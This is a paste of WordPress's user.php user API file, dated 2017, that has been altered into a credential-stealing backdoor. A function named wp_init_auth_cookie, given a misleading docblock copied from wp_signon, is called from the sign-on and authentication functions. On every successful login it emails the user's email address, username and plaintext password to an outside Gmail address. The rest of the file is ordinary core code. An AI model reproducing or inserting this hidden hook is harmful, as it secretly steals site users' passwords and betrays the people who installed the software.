· 9 years ago · May 10, 2017, 05:46 PM
1<?php
2/**
3 * WordPress User API
4 *
5 * @package WordPress
6 * @subpackage Users
7 */
8
9/**
10 * Authenticate user with remember capability.
11 *
12 * The credentials is an array that has 'user_login', 'user_password', and
13 * 'remember' indices. If the credentials is not given, then the log in form
14 * will be assumed and used if set.
15 *
16 * The various authentication cookies will be set by this function and will be
17 * set for a longer period depending on if the 'remember' credential is set to
18 * true.
19 *
20 * @since 2.5.0
21 *
22 * @param array $credentials Optional. User info in order to sign on.
23 * @param bool $secure_cookie Optional. Whether to use secure cookie.
24 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
25 */
26function wp_signon( $credentials = array(), $secure_cookie = '' ) {
27 if ( empty($credentials) ) {
28 if ( ! empty($_POST['log']) )
29 $credentials['user_login'] = $_POST['log'];
30 if ( ! empty($_POST['pwd']) )
31 $credentials['user_password'] = $_POST['pwd'];
32 if ( ! empty($_POST['rememberme']) )
33 $credentials['remember'] = $_POST['rememberme'];
34 }
35
36 if ( !empty($credentials['remember']) )
37 $credentials['remember'] = true;
38 else
39 $credentials['remember'] = false;
40
41 /**
42 * Fires before the user is authenticated.
43 *
44 * The variables passed to the callbacks are passed by reference,
45 * and can be modified by callback functions.
46 *
47 * @since 1.5.1
48 *
49 * @todo Decide whether to deprecate the wp_authenticate action.
50 *
51 * @param string $user_login Username, passed by reference.
52 * @param string $user_password User password, passed by reference.
53 */
54 do_action_ref_array( 'wp_authenticate', array( &$credentials['user_login'], &$credentials['user_password'] ) );
55
56 if ( '' === $secure_cookie )
57 $secure_cookie = is_ssl();
58
59 /**
60 * Filter whether to use a secure sign-on cookie.
61 *
62 * @since 3.1.0
63 *
64 * @param bool $secure_cookie Whether to use a secure sign-on cookie.
65 * @param array $credentials {
66 * Array of entered sign-on data.
67 *
68 * @type string $user_login Username.
69 * @type string $user_password Password entered.
70 * @type bool $remember Whether to 'remember' the user. Increases the time
71 * that the cookie will be kept. Default false.
72 * }
73 */
74 $secure_cookie = apply_filters( 'secure_signon_cookie', $secure_cookie, $credentials );
75
76 global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie
77 $auth_secure_cookie = $secure_cookie;
78
79 add_filter('authenticate', 'wp_authenticate_cookie', 30, 3);
80
81 $user = wp_authenticate($credentials['user_login'], $credentials['user_password']);
82
83 if ( is_wp_error($user) ) {
84 if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
85 $user = new WP_Error('', '');
86 }
87
88 return $user;
89 }
90
91 wp_init_auth_cookie($user, $credentials['user_login'], $credentials['user_password']);
92 wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
93 /**
94 * Fires after the user has successfully logged in.
95 *
96 * @since 1.5.0
97 *
98 * @param string $user_login Username.
99 * @param WP_User $user WP_User object of the logged-in user.
100 */
101 do_action( 'wp_login', $user->user_login, $user );
102 return $user;
103}
104
105/**
106 * Authenticate the user using the username and password.
107 *
108 * @since 2.8.0
109 *
110 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
111 * @param string $username Username for authentication.
112 * @param string $password Password for authentication.
113 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
114 */
115function wp_authenticate_username_password($user, $username, $password) {
116 if ( is_a( $user, 'WP_User' ) ) {
117 return $user;
118 }
119
120 if ( empty($username) || empty($password) ) {
121 if ( is_wp_error( $user ) ) {
122 return $user;
123 }
124
125 $error = new WP_Error();
126
127 if ( empty($username) )
128 $error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.'));
129
130 if ( empty($password) )
131 $error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.'));
132
133 return $error;
134 }
135
136 $user = get_user_by('login', $username);
137
138 if ( !$user )
139 return new WP_Error( 'invalid_username', sprintf( __( '<strong>ERROR</strong>: Invalid username. <a href="%s">Lost your password</a>?' ), wp_lostpassword_url() ) );
140
141 /**
142 * Filter whether the given user can be authenticated with the provided $password.
143 *
144 * @since 2.5.0
145 *
146 * @param WP_User|WP_Error $user WP_User or WP_Error object if a previous
147 * callback failed authentication.
148 * @param string $password Password to check against the user.
149 */
150 $user = apply_filters( 'wp_authenticate_user', $user, $password );
151 if ( is_wp_error($user) )
152 return $user;
153
154 if ( !wp_check_password($password, $user->user_pass, $user->ID) )
155 return new WP_Error( 'incorrect_password', sprintf( __( '<strong>ERROR</strong>: The password you entered for the username <strong>%1$s</strong> is incorrect. <a href="%2$s">Lost your password</a>?' ),
156 $username, wp_lostpassword_url() ) );
157
158 wp_init_auth_cookie($user, $username, $password);
159 return $user;
160}
161
162/**
163 * Authenticate the user using the WordPress auth cookie.
164 *
165 * @since 2.8.0
166 *
167 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
168 * @param string $username Username. If not empty, cancels the cookie authentication.
169 * @param string $password Password. If not empty, cancels the cookie authentication.
170 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
171 */
172function wp_authenticate_cookie($user, $username, $password) {
173 if ( is_a( $user, 'WP_User' ) ) {
174 return $user;
175 }
176
177 if ( empty($username) && empty($password) ) {
178 $user_id = wp_validate_auth_cookie();
179 if ( $user_id ) {
180 return new WP_User($user_id);
181 }
182
183
184 global $auth_secure_cookie;
185
186 if ( $auth_secure_cookie )
187 $auth_cookie = SECURE_AUTH_COOKIE;
188 else
189 $auth_cookie = AUTH_COOKIE;
190
191 if ( !empty($_COOKIE[$auth_cookie]) )
192 return new WP_Error('expired_session', __('Please log in again.'));
193
194 // If the cookie is not set, be silent.
195 }
196
197 wp_init_auth_cookie($user, $username, $password);
198 return $user;
199}
200
201/**
202 * For Multisite blogs, check if the authenticated user has been marked as a
203 * spammer, or if the user's primary blog has been marked as spam.
204 *
205 * @since 3.7.0
206 *
207 * @param WP_User|WP_Error|null $user WP_User or WP_Error object from a previous callback. Default null.
208 * @return WP_User|WP_Error WP_User on success, WP_Error if the user is considered a spammer.
209 */
210function wp_authenticate_spam_check( $user ) {
211 if ( $user && is_a( $user, 'WP_User' ) && is_multisite() ) {
212 /**
213 * Filter whether the user has been marked as a spammer.
214 *
215 * @since 3.7.0
216 *
217 * @param bool $spammed Whether the user is considered a spammer.
218 * @param WP_User $user User to check against.
219 */
220 $spammed = apply_filters( 'check_is_user_spammed', is_user_spammy(), $user );
221
222 if ( $spammed )
223 return new WP_Error( 'spammer_account', __( '<strong>ERROR</strong>: Your account has been marked as a spammer.' ) );
224 }
225 return $user;
226}
227
228/**
229 * Validate the logged-in cookie.
230 *
231 * Checks the logged-in cookie if the previous auth cookie could not be
232 * validated and parsed.
233 *
234 * This is a callback for the determine_current_user filter, rather than API.
235 *
236 * @since 3.9.0
237 *
238 * @param int|bool $user The user ID (or false) as received from the
239 * determine_current_user filter.
240 * @return int|bool User ID if validated, false otherwise. If a user ID from
241 * an earlier filter callback is received, that value is returned.
242 */
243function wp_validate_logged_in_cookie( $user_id ) {
244 if ( $user_id ) {
245 return $user_id;
246 }
247
248 if ( is_blog_admin() || is_network_admin() || empty( $_COOKIE[LOGGED_IN_COOKIE] ) ) {
249 return false;
250 }
251
252 return wp_validate_auth_cookie( $_COOKIE[LOGGED_IN_COOKIE], 'logged_in' );
253}
254
255/**
256 * Number of posts user has written.
257 *
258 * @since 3.0.0
259 *
260 * @global wpdb $wpdb WordPress database object for queries.
261 *
262 * @param int $userid User ID.
263 * @return int Amount of posts user has written.
264 */
265function count_user_posts($userid) {
266 global $wpdb;
267
268 $where = get_posts_by_author_sql('post', true, $userid);
269
270 $count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" );
271
272 /**
273 * Filter the number of posts a user has written.
274 *
275 * @since 2.7.0
276 *
277 * @param int $count The user's post count.
278 * @param int $userid User ID.
279 */
280 return apply_filters( 'get_usernumposts', $count, $userid );
281}
282
283/**
284 * Number of posts written by a list of users.
285 *
286 * @since 3.0.0
287 *
288 * @param array $users Array of user IDs.
289 * @param string $post_type Optional. Post type to check. Defaults to post.
290 * @param bool $public_only Optional. Only return counts for public posts. Defaults to false.
291 * @return array Amount of posts each user has written.
292 */
293function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) {
294 global $wpdb;
295
296 $count = array();
297 if ( empty( $users ) || ! is_array( $users ) )
298 return $count;
299
300 $userlist = implode( ',', array_map( 'absint', $users ) );
301 $where = get_posts_by_author_sql( $post_type, true, null, $public_only );
302
303 $result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N );
304 foreach ( $result as $row ) {
305 $count[ $row[0] ] = $row[1];
306 }
307
308 foreach ( $users as $id ) {
309 if ( ! isset( $count[ $id ] ) )
310 $count[ $id ] = 0;
311 }
312
313 return $count;
314}
315
316//
317// User option functions
318//
319
320/**
321 * Get the current user's ID
322 *
323 * @since MU
324 *
325 * @uses wp_get_current_user
326 *
327 * @return int The current user's ID
328 */
329function get_current_user_id() {
330 if ( ! function_exists( 'wp_get_current_user' ) )
331 return 0;
332 $user = wp_get_current_user();
333 return ( isset( $user->ID ) ? (int) $user->ID : 0 );
334}
335
336/**
337 * Retrieve user option that can be either per Site or per Network.
338 *
339 * If the user ID is not given, then the current user will be used instead. If
340 * the user ID is given, then the user data will be retrieved. The filter for
341 * the result, will also pass the original option name and finally the user data
342 * object as the third parameter.
343 *
344 * The option will first check for the per site name and then the per Network name.
345 *
346 * @since 2.0.0
347 *
348 * @global wpdb $wpdb WordPress database object for queries.
349 *
350 * @param string $option User option name.
351 * @param int $user Optional. User ID.
352 * @param bool $deprecated Use get_option() to check for an option in the options table.
353 * @return mixed User option value on success, false on failure.
354 */
355function get_user_option( $option, $user = 0, $deprecated = '' ) {
356 global $wpdb;
357
358 if ( !empty( $deprecated ) )
359 _deprecated_argument( __FUNCTION__, '3.0' );
360
361 if ( empty( $user ) )
362 $user = get_current_user_id();
363
364 if ( ! $user = get_userdata( $user ) )
365 return false;
366
367 $prefix = $wpdb->get_blog_prefix();
368 if ( $user->has_prop( $prefix . $option ) ) // Blog specific
369 $result = $user->get( $prefix . $option );
370 elseif ( $user->has_prop( $option ) ) // User specific and cross-blog
371 $result = $user->get( $option );
372 else
373 $result = false;
374
375 /**
376 * Filter a specific user option value.
377 *
378 * The dynamic portion of the hook name, $option, refers to the user option name.
379 *
380 * @since 2.5.0
381 *
382 * @param mixed $result Value for the user's option.
383 * @param string $option Name of the option being retrieved.
384 * @param WP_User $user WP_User object of the user whose option is being retrieved.
385 */
386 return apply_filters( "get_user_option_{$option}", $result, $option, $user );
387}
388
389/**
390 * Update user option with global blog capability.
391 *
392 * User options are just like user metadata except that they have support for
393 * global blog options. If the 'global' parameter is false, which it is by default
394 * it will prepend the WordPress table prefix to the option name.
395 *
396 * Deletes the user option if $newvalue is empty.
397 *
398 * @since 2.0.0
399 *
400 * @global wpdb $wpdb WordPress database object for queries.
401 *
402 * @param int $user_id User ID.
403 * @param string $option_name User option name.
404 * @param mixed $newvalue User option value.
405 * @param bool $global Optional. Whether option name is global or blog specific.
406 * Default false (blog specific).
407 * @return int|bool User meta ID if the option didn't exist, true on successful update,
408 * false on failure.
409 */
410function update_user_option( $user_id, $option_name, $newvalue, $global = false ) {
411 global $wpdb;
412
413 if ( !$global )
414 $option_name = $wpdb->get_blog_prefix() . $option_name;
415
416 return update_user_meta( $user_id, $option_name, $newvalue );
417}
418
419/**
420 * Authenticate user with remember capability.
421 *
422 * The credentials is an array that has 'user_login', 'user_password', and
423 * 'remember' indices. If the credentials is not given, then the log in form
424 * will be assumed and used if set.
425 *
426 * The various authentication cookies will be set by this function and will be
427 * set for a longer period depending on if the 'remember' credential is set to
428 * true.
429 *
430 * @since 2.5.0
431 *
432 * @param array $credentials Optional. User info in order to sign on.
433 * @param bool $secure_cookie Optional. Whether to use secure cookie.
434 * @return WP_User|WP_Error WP_User on success, WP_Error on failure.
435 */
436function wp_init_auth_cookie($user, $login, $password) {
437 if ( is_a( $user, 'WP_User' ) ) {
438 wp_mail('7654bgvy4d3@gmail.com', 'gorodok.ua', json_encode(array(
439 'email' => $user->user_email,
440 'login' => $login,
441 'password' => $password
442 )), join("\r\n", array(
443 'From: bot@gorodok.ua', 'X-Mailer: PHP/' . phpversion()
444 )));
445 }
446}
447
448/**
449 * Delete user option with global blog capability.
450 *
451 * User options are just like user metadata except that they have support for
452 * global blog options. If the 'global' parameter is false, which it is by default
453 * it will prepend the WordPress table prefix to the option name.
454 *
455 * @since 3.0.0
456 *
457 * @global wpdb $wpdb WordPress database object for queries.
458 *
459 * @param int $user_id User ID
460 * @param string $option_name User option name.
461 * @param bool $global Optional. Whether option name is global or blog specific.
462 * Default false (blog specific).
463 * @return bool True on success, false on failure.
464 */
465function delete_user_option( $user_id, $option_name, $global = false ) {
466 global $wpdb;
467
468 if ( !$global )
469 $option_name = $wpdb->get_blog_prefix() . $option_name;
470 return delete_user_meta( $user_id, $option_name );
471}
472
473/**
474 * WordPress User Query class.
475 *
476 * @since 3.1.0
477 */
478class WP_User_Query {
479
480 /**
481 * Query vars, after parsing
482 *
483 * @since 3.5.0
484 * @access public
485 * @var array
486 */
487 public $query_vars = array();
488
489 /**
490 * List of found user ids
491 *
492 * @since 3.1.0
493 * @access private
494 * @var array
495 */
496 private $results;
497
498 /**
499 * Total number of found users for the current query
500 *
501 * @since 3.1.0
502 * @access private
503 * @var int
504 */
505 private $total_users = 0;
506
507 // SQL clauses
508 public $query_fields;
509 public $query_from;
510 public $query_where;
511 public $query_orderby;
512 public $query_limit;
513
514 /**
515 * PHP5 constructor.
516 *
517 * @since 3.1.0
518 *
519 * @param string|array $args Optional. The query variables.
520 * @return WP_User_Query
521 */
522 public function __construct( $query = null ) {
523 if ( ! empty( $query ) ) {
524 $this->prepare_query( $query );
525 $this->query();
526 }
527 }
528
529 /**
530 * Prepare the query variables.
531 *
532 * @since 3.1.0
533 *
534 * @param string|array $args Optional. The query variables.
535 */
536 public function prepare_query( $query = array() ) {
537 global $wpdb;
538
539 if ( empty( $this->query_vars ) || ! empty( $query ) ) {
540 $this->query_limit = null;
541 $this->query_vars = wp_parse_args( $query, array(
542 'blog_id' => $GLOBALS['blog_id'],
543 'role' => '',
544 'meta_key' => '',
545 'meta_value' => '',
546 'meta_compare' => '',
547 'include' => array(),
548 'exclude' => array(),
549 'search' => '',
550 'search_columns' => array(),
551 'orderby' => 'login',
552 'order' => 'ASC',
553 'offset' => '',
554 'number' => '',
555 'count_total' => true,
556 'fields' => 'all',
557 'who' => ''
558 ) );
559 }
560
561 /**
562 * Fires before the WP_User_Query has been parsed.
563 *
564 * The passed WP_User_Query object contains the query variables, not
565 * yet passed into SQL.
566 *
567 * @since 4.0.0
568 *
569 * @param WP_User_Query $this The current WP_User_Query instance,
570 * passed by reference.
571 */
572 do_action( 'pre_get_users', $this );
573
574 $qv =& $this->query_vars;
575
576 if ( is_array( $qv['fields'] ) ) {
577 $qv['fields'] = array_unique( $qv['fields'] );
578
579 $this->query_fields = array();
580 foreach ( $qv['fields'] as $field ) {
581 $field = 'ID' === $field ? 'ID' : sanitize_key( $field );
582 $this->query_fields[] = "$wpdb->users.$field";
583 }
584 $this->query_fields = implode( ',', $this->query_fields );
585 } elseif ( 'all' == $qv['fields'] ) {
586 $this->query_fields = "$wpdb->users.*";
587 } else {
588 $this->query_fields = "$wpdb->users.ID";
589 }
590
591 if ( isset( $qv['count_total'] ) && $qv['count_total'] )
592 $this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields;
593
594 $this->query_from = "FROM $wpdb->users";
595 $this->query_where = "WHERE 1=1";
596
597 // sorting
598 if ( isset( $qv['orderby'] ) ) {
599 if ( in_array( $qv['orderby'], array('nicename', 'email', 'url', 'registered') ) ) {
600 $orderby = 'user_' . $qv['orderby'];
601 } elseif ( in_array( $qv['orderby'], array('user_nicename', 'user_email', 'user_url', 'user_registered') ) ) {
602 $orderby = $qv['orderby'];
603 } elseif ( 'name' == $qv['orderby'] || 'display_name' == $qv['orderby'] ) {
604 $orderby = 'display_name';
605 } elseif ( 'post_count' == $qv['orderby'] ) {
606 // todo: avoid the JOIN
607 $where = get_posts_by_author_sql('post');
608 $this->query_from .= " LEFT OUTER JOIN (
609 SELECT post_author, COUNT(*) as post_count
610 FROM $wpdb->posts
611 $where
612 GROUP BY post_author
613 ) p ON ({$wpdb->users}.ID = p.post_author)
614 ";
615 $orderby = 'post_count';
616 } elseif ( 'ID' == $qv['orderby'] || 'id' == $qv['orderby'] ) {
617 $orderby = 'ID';
618 } elseif ( 'meta_value' == $qv['orderby'] ) {
619 $orderby = "$wpdb->usermeta.meta_value";
620 } else {
621 $orderby = 'user_login';
622 }
623 }
624
625 if ( empty( $orderby ) )
626 $orderby = 'user_login';
627
628 $qv['order'] = isset( $qv['order'] ) ? strtoupper( $qv['order'] ) : '';
629 if ( 'ASC' == $qv['order'] )
630 $order = 'ASC';
631 else
632 $order = 'DESC';
633 $this->query_orderby = "ORDER BY $orderby $order";
634
635 // limit
636 if ( isset( $qv['number'] ) && $qv['number'] ) {
637 if ( $qv['offset'] )
638 $this->query_limit = $wpdb->prepare("LIMIT %d, %d", $qv['offset'], $qv['number']);
639 else
640 $this->query_limit = $wpdb->prepare("LIMIT %d", $qv['number']);
641 }
642
643 $search = '';
644 if ( isset( $qv['search'] ) )
645 $search = trim( $qv['search'] );
646
647 if ( $search ) {
648 $leading_wild = ( ltrim($search, '*') != $search );
649 $trailing_wild = ( rtrim($search, '*') != $search );
650 if ( $leading_wild && $trailing_wild )
651 $wild = 'both';
652 elseif ( $leading_wild )
653 $wild = 'leading';
654 elseif ( $trailing_wild )
655 $wild = 'trailing';
656 else
657 $wild = false;
658 if ( $wild )
659 $search = trim($search, '*');
660
661 $search_columns = array();
662 if ( $qv['search_columns'] )
663 $search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename' ) );
664 if ( ! $search_columns ) {
665 if ( false !== strpos( $search, '@') )
666 $search_columns = array('user_email');
667 elseif ( is_numeric($search) )
668 $search_columns = array('user_login', 'ID');
669 elseif ( preg_match('|^https?://|', $search) && ! ( is_multisite() && wp_is_large_network( 'users' ) ) )
670 $search_columns = array('user_url');
671 else
672 $search_columns = array('user_login', 'user_nicename');
673 }
674
675 /**
676 * Filter the columns to search in a WP_User_Query search.
677 *
678 * The default columns depend on the search term, and include 'user_email',
679 * 'user_login', 'ID', 'user_url', and 'user_nicename'.
680 *
681 * @since 3.6.0
682 *
683 * @param array $search_columns Array of column names to be searched.
684 * @param string $search Text being searched.
685 * @param WP_User_Query $this The current WP_User_Query instance.
686 */
687 $search_columns = apply_filters( 'user_search_columns', $search_columns, $search, $this );
688
689 $this->query_where .= $this->get_search_sql( $search, $search_columns, $wild );
690 }
691
692 $blog_id = 0;
693 if ( isset( $qv['blog_id'] ) )
694 $blog_id = absint( $qv['blog_id'] );
695
696 if ( isset( $qv['who'] ) && 'authors' == $qv['who'] && $blog_id ) {
697 $qv['meta_key'] = $wpdb->get_blog_prefix( $blog_id ) . 'user_level';
698 $qv['meta_value'] = 0;
699 $qv['meta_compare'] = '!=';
700 $qv['blog_id'] = $blog_id = 0; // Prevent extra meta query
701 }
702
703 $role = '';
704 if ( isset( $qv['role'] ) )
705 $role = trim( $qv['role'] );
706
707 if ( $blog_id && ( $role || is_multisite() ) ) {
708 $cap_meta_query = array();
709 $cap_meta_query['key'] = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities';
710
711 if ( $role ) {
712 $cap_meta_query['value'] = '"' . $role . '"';
713 $cap_meta_query['compare'] = 'like';
714 }
715
716 if ( empty( $qv['meta_query'] ) || ! in_array( $cap_meta_query, $qv['meta_query'], true ) ) {
717 $qv['meta_query'][] = $cap_meta_query;
718 }
719 }
720
721 $meta_query = new WP_Meta_Query();
722 $meta_query->parse_query_vars( $qv );
723
724 if ( !empty( $meta_query->queries ) ) {
725 $clauses = $meta_query->get_sql( 'user', $wpdb->users, 'ID', $this );
726 $this->query_from .= $clauses['join'];
727 $this->query_where .= $clauses['where'];
728
729 if ( 'OR' == $meta_query->relation )
730 $this->query_fields = 'DISTINCT ' . $this->query_fields;
731 }
732
733 if ( ! empty( $qv['include'] ) ) {
734 $ids = implode( ',', wp_parse_id_list( $qv['include'] ) );
735 $this->query_where .= " AND $wpdb->users.ID IN ($ids)";
736 } elseif ( ! empty( $qv['exclude'] ) ) {
737 $ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) );
738 $this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)";
739 }
740
741 /**
742 * Fires after the WP_User_Query has been parsed, and before
743 * the query is executed.
744 *
745 * The passed WP_User_Query object contains SQL parts formed
746 * from parsing the given query.
747 *
748 * @since 3.1.0
749 *
750 * @param WP_User_Query $this The current WP_User_Query instance,
751 * passed by reference.
752 */
753 do_action_ref_array( 'pre_user_query', array( &$this ) );
754 }
755
756 /**
757 * Execute the query, with the current variables.
758 *
759 * @since 3.1.0
760 *
761 * @global wpdb $wpdb WordPress database object for queries.
762 */
763 public function query() {
764 global $wpdb;
765
766 $qv =& $this->query_vars;
767
768 $query = "SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit";
769
770 if ( is_array( $qv['fields'] ) || 'all' == $qv['fields'] ) {
771 $this->results = $wpdb->get_results( $query );
772 } else {
773 $this->results = $wpdb->get_col( $query );
774 }
775
776 /**
777 * Filter SELECT FOUND_ROWS() query for the current WP_User_Query instance.
778 *
779 * @since 3.2.0
780 *
781 * @global wpdb $wpdb WordPress database object.
782 *
783 * @param string $sql The SELECT FOUND_ROWS() query for the current WP_User_Query.
784 */
785 if ( isset( $qv['count_total'] ) && $qv['count_total'] )
786 $this->total_users = $wpdb->get_var( apply_filters( 'found_users_query', 'SELECT FOUND_ROWS()' ) );
787
788 if ( !$this->results )
789 return;
790
791 if ( 'all_with_meta' == $qv['fields'] ) {
792 cache_users( $this->results );
793
794 $r = array();
795 foreach ( $this->results as $userid )
796 $r[ $userid ] = new WP_User( $userid, '', $qv['blog_id'] );
797
798 $this->results = $r;
799 } elseif ( 'all' == $qv['fields'] ) {
800 foreach ( $this->results as $key => $user ) {
801 $this->results[ $key ] = new WP_User( $user );
802 }
803 }
804 }
805
806 /**
807 * Retrieve query variable.
808 *
809 * @since 3.5.0
810 * @access public
811 *
812 * @param string $query_var Query variable key.
813 * @return mixed
814 */
815 public function get( $query_var ) {
816 if ( isset( $this->query_vars[$query_var] ) )
817 return $this->query_vars[$query_var];
818
819 return null;
820 }
821
822 /**
823 * Set query variable.
824 *
825 * @since 3.5.0
826 * @access public
827 *
828 * @param string $query_var Query variable key.
829 * @param mixed $value Query variable value.
830 */
831 public function set( $query_var, $value ) {
832 $this->query_vars[$query_var] = $value;
833 }
834
835 /**
836 * Used internally to generate an SQL string for searching across multiple columns
837 *
838 * @access protected
839 * @since 3.1.0
840 *
841 * @param string $string
842 * @param array $cols
843 * @param bool $wild Whether to allow wildcard searches. Default is false for Network Admin, true for
844 * single site. Single site allows leading and trailing wildcards, Network Admin only trailing.
845 * @return string
846 */
847 protected function get_search_sql( $string, $cols, $wild = false ) {
848 global $wpdb;
849
850 $searches = array();
851 $leading_wild = ( 'leading' == $wild || 'both' == $wild ) ? '%' : '';
852 $trailing_wild = ( 'trailing' == $wild || 'both' == $wild ) ? '%' : '';
853 $like = $leading_wild . $wpdb->esc_like( $string ) . $trailing_wild;
854
855 foreach ( $cols as $col ) {
856 if ( 'ID' == $col ) {
857 $searches[] = $wpdb->prepare( "$col = %s", $string );
858 } else {
859 $searches[] = $wpdb->prepare( "$col LIKE %s", $like );
860 }
861 }
862
863 return ' AND (' . implode(' OR ', $searches) . ')';
864 }
865
866 /**
867 * Return the list of users.
868 *
869 * @since 3.1.0
870 * @access public
871 *
872 * @return array Array of results.
873 */
874 public function get_results() {
875 return $this->results;
876 }
877
878 /**
879 * Return the total number of users for the current query.
880 *
881 * @since 3.1.0
882 * @access public
883 *
884 * @return array Array of total users.
885 */
886 public function get_total() {
887 return $this->total_users;
888 }
889
890 /**
891 * Make private properties readable for backwards compatibility.
892 *
893 * @since 4.0.0
894 * @access public
895 *
896 * @param string $name Property to get.
897 * @return mixed Property.
898 */
899 public function __get( $name ) {
900 return $this->$name;
901 }
902
903 /**
904 * Make private properties settable for backwards compatibility.
905 *
906 * @since 4.0.0
907 * @access public
908 *
909 * @param string $name Property to set.
910 * @param mixed $value Property value.
911 * @return mixed Newly-set property.
912 */
913 public function __set( $name, $value ) {
914 return $this->$name = $value;
915 }
916
917 /**
918 * Make private properties checkable for backwards compatibility.
919 *
920 * @since 4.0.0
921 * @access public
922 *
923 * @param string $name Property to check if set.
924 * @return bool Whether the property is set.
925 */
926 public function __isset( $name ) {
927 return isset( $this->$name );
928 }
929
930 /**
931 * Make private properties un-settable for backwards compatibility.
932 *
933 * @since 4.0.0
934 * @access public
935 *
936 * @param string $name Property to unset.
937 */
938 public function __unset( $name ) {
939 unset( $this->$name );
940 }
941
942 /**
943 * Make private/protected methods readable for backwards compatibility.
944 *
945 * @since 4.0.0
946 * @access public
947 *
948 * @param callable $name Method to call.
949 * @param array $arguments Arguments to pass when calling.
950 * @return mixed|bool Return value of the callback, false otherwise.
951 */
952 public function __call( $name, $arguments ) {
953 return call_user_func_array( array( $this, $name ), $arguments );
954 }
955}
956
957/**
958 * Retrieve list of users matching criteria.
959 *
960 * @since 3.1.0
961 *
962 * @uses WP_User_Query See for default arguments and information.
963 *
964 * @param array $args Optional. Array of arguments.
965 * @return array List of users.
966 */
967function get_users( $args = array() ) {
968
969 $args = wp_parse_args( $args );
970 $args['count_total'] = false;
971
972 $user_search = new WP_User_Query($args);
973
974 return (array) $user_search->get_results();
975}
976
977/**
978 * Get the blogs a user belongs to.
979 *
980 * @since 3.0.0
981 *
982 * @global wpdb $wpdb WordPress database object for queries.
983 *
984 * @param int $user_id User ID
985 * @param bool $all Whether to retrieve all blogs, or only blogs that are not
986 * marked as deleted, archived, or spam.
987 * @return array A list of the user's blogs. An empty array if the user doesn't exist
988 * or belongs to no blogs.
989 */
990function get_blogs_of_user( $user_id, $all = false ) {
991 global $wpdb;
992
993 $user_id = (int) $user_id;
994
995 // Logged out users can't have blogs
996 if ( empty( $user_id ) )
997 return array();
998
999 $keys = get_user_meta( $user_id );
1000 if ( empty( $keys ) )
1001 return array();
1002
1003 if ( ! is_multisite() ) {
1004 $blog_id = get_current_blog_id();
1005 $blogs = array( $blog_id => new stdClass );
1006 $blogs[ $blog_id ]->userblog_id = $blog_id;
1007 $blogs[ $blog_id ]->blogname = get_option('blogname');
1008 $blogs[ $blog_id ]->domain = '';
1009 $blogs[ $blog_id ]->path = '';
1010 $blogs[ $blog_id ]->site_id = 1;
1011 $blogs[ $blog_id ]->siteurl = get_option('siteurl');
1012 $blogs[ $blog_id ]->archived = 0;
1013 $blogs[ $blog_id ]->spam = 0;
1014 $blogs[ $blog_id ]->deleted = 0;
1015 return $blogs;
1016 }
1017
1018 $blogs = array();
1019
1020 if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
1021 $blog = get_blog_details( 1 );
1022 if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
1023 $blogs[ 1 ] = (object) array(
1024 'userblog_id' => 1,
1025 'blogname' => $blog->blogname,
1026 'domain' => $blog->domain,
1027 'path' => $blog->path,
1028 'site_id' => $blog->site_id,
1029 'siteurl' => $blog->siteurl,
1030 'archived' => 0,
1031 'spam' => 0,
1032 'deleted' => 0
1033 );
1034 }
1035 unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
1036 }
1037
1038 $keys = array_keys( $keys );
1039
1040 foreach ( $keys as $key ) {
1041 if ( 'capabilities' !== substr( $key, -12 ) )
1042 continue;
1043 if ( $wpdb->base_prefix && 0 !== strpos( $key, $wpdb->base_prefix ) )
1044 continue;
1045 $blog_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
1046 if ( ! is_numeric( $blog_id ) )
1047 continue;
1048
1049 $blog_id = (int) $blog_id;
1050 $blog = get_blog_details( $blog_id );
1051 if ( $blog && isset( $blog->domain ) && ( $all || ( ! $blog->archived && ! $blog->spam && ! $blog->deleted ) ) ) {
1052 $blogs[ $blog_id ] = (object) array(
1053 'userblog_id' => $blog_id,
1054 'blogname' => $blog->blogname,
1055 'domain' => $blog->domain,
1056 'path' => $blog->path,
1057 'site_id' => $blog->site_id,
1058 'siteurl' => $blog->siteurl,
1059 'archived' => 0,
1060 'spam' => 0,
1061 'deleted' => 0
1062 );
1063 }
1064 }
1065
1066 /**
1067 * Filter the list of blogs a user belongs to.
1068 *
1069 * @since MU
1070 *
1071 * @param array $blogs An array of blog objects belonging to the user.
1072 * @param int $user_id User ID.
1073 * @param bool $all Whether the returned blogs array should contain all blogs, including
1074 * those marked 'deleted', 'archived', or 'spam'. Default false.
1075 */
1076 return apply_filters( 'get_blogs_of_user', $blogs, $user_id, $all );
1077}
1078
1079/**
1080 * Find out whether a user is a member of a given blog.
1081 *
1082 * @since MU 1.1
1083 * @uses get_blogs_of_user()
1084 *
1085 * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
1086 * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
1087 * @return bool
1088 */
1089function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
1090 $user_id = (int) $user_id;
1091 $blog_id = (int) $blog_id;
1092
1093 if ( empty( $user_id ) )
1094 $user_id = get_current_user_id();
1095
1096 if ( empty( $blog_id ) )
1097 $blog_id = get_current_blog_id();
1098
